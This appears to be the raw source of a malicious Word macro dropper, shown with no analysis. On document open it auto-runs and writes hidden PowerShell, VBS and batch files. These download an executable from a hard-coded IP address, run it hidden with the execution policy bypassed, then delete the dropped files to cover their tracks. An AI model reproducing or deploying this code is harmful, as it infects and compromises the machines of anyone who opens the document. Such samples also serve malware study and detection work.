Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    h
End Sub
Sub h()
Dim MY_FILENDIR, MY_FILEDIR, MY_FILDIR
 MY_FILEN = "ntusersc.ps1"
 MY_FILE = "ntusersss.bat"
 MY_FIL = "ntuserskk.vbs"
     MY_FILENDIR = ActiveDocument.Path + "\ntusersc.ps1"
     MY_FILEDIR = ActiveDocument.Path + "\ntusersss.bat"
     MY_FILDIR = ActiveDocument.Path + "\ntuserskk.vbs"
     Dim FileNumber As Integer
     Dim FileNumb As Integer
     Dim FileNu As Integer
     Dim retVal As Variant
     FileNumber = FreeFile
     FileNumb = FreeFile
     FileNu = FreeFile
    Open MY_FILENDIR For Output As #FileNumber
    Print #FileNumber, "$hashroot = '13-93-8e-e9-b1-a3-63-63-ed-49-7f-43-3d-5c-a2-c2';"
    Print #FileNumber, "$hash = '0';"
    Print #FileNumber, "$down = New-Object System.Net.WebClient;"
    Print #FileNumber, "$url  = 'http://162.243.234.167:8080/gr/4.exe';"
    Print #FileNumber, "$file = 'crsss2.exe';"
    Print #FileNumber, "$down.DownloadFile($url,$file);"
    Print #FileNumber, "$ScriptDir = $MyInvocation.ScriptName;"
    Print #FileNumber, "$someFilePath = $ScriptDir + 'crsss2.exe';"
    Print #FileNumber, "$vbsFilePath = $ScriptDir + 'ntuserskk.vbs';"
    Print #FileNumber, "$batFilePath = $ScriptDir + 'ntusersss.bat';"
    Print #FileNumber, "$psFilePath = $ScriptDir + 'ntusersc.ps1';"
    Print #FileNumber, "Do { Start-Sleep -s 10;"
    Print #FileNumber, "$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;"
    Print #FileNumber, "$hash = [System.BitConverter]::ToString($md5.ComputeHash([System.IO.File]::ReadAllBytes($someFilePath))); }"
    Print #FileNumber, "Until ($hash -Match $hashroot);"
    Print #FileNumber, "cmd.exe /c crsss2.exe;"
    Print #FileNumber, "$file1 = gci $vbsFilePath -Force"
    Print #FileNumber, "$file2 = gci $batFilePath -Force"
    Print #FileNumber, "$file3 = gci $psFilePath -Force"
    Print #FileNumber, "$file1.Attributes = $file1.Attributes -bxor [System.IO.FileAttributes]::Hidden"
    Print #FileNumber, "$file2.Attributes = $file2.Attributes -bxor [System.IO.FileAttributes]::Hidden"
    Print #FileNumber, "$file3.Attributes = $file3.Attributes -bxor [System.IO.FileAttributes]::Hidden"
    Print #FileNumber, "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }"
    Print #FileNumber, "If (Test-Path $batFilePath){ Remove-Item $batFilePath }"
    Print #FileNumber, "If (Test-Path $someFilePath){ Remove-Item $someFilePath }"
    Print #FileNumber, "Remove-Item $MyINvocation.InvocationName"
    Close #FileNumber

    Open MY_FILDIR For Output As #FileNumb
    Print #FileNumb, "currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))"
    Print #FileNumb, "Set objFSO=CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")"
    Print #FileNumb, "currentFile = currentDirectory & " & Chr(34) & "ntusersc.ps1" & Chr(34)
    Print #FileNumb, "Set objShell = CreateObject(" & Chr(34) & "Wscript.shell" & Chr(34) & ")"
    Print #FileNumb, "objShell.run " & Chr(34) & "powershell.exe -ExecutionPolicy bypass -noprofile -file " & Chr(34) & " & currentFile,0,true"
    Close #FileNumb

     'creat batch file
    Open MY_FILEDIR For Output As #FileNu
    Print #FileNu, "@echo off"
    Print #FileNu, "ping 1.1.2.2 -n 2"
    Print #FileNu, "cscript.exe " & ActiveDocument.Path & "\ntuserskk.vbs"
    Print #FileNu, "exit"
    Close #FileNu

    dir1 = Len(Dir(MY_FILENDIR))
    dir2 = Len(Dir(MY_FILEDIR))
    dir3 = Len(Dir(MY_FILDIR))
    SetAttr MY_FILENDIR, vbHidden
    SetAttr MY_FILEDIR, vbHidden
    SetAttr MY_FILDIR, vbHidden

    Do While dir1 = 0
    WaitFor (2)
    Loop

    Do While dir2 = 0
    WaitFor (2)
    Loop

    Do While dir3 = 0
    WaitFor (2)
    Loop

    'Shell "cmd.exe /k " + MY_FILEDIR

    retVal = Shell(MY_FILEDIR, 0)



End Sub
Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds

Do While Timer < SngSec
DoEvents
Loop

End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub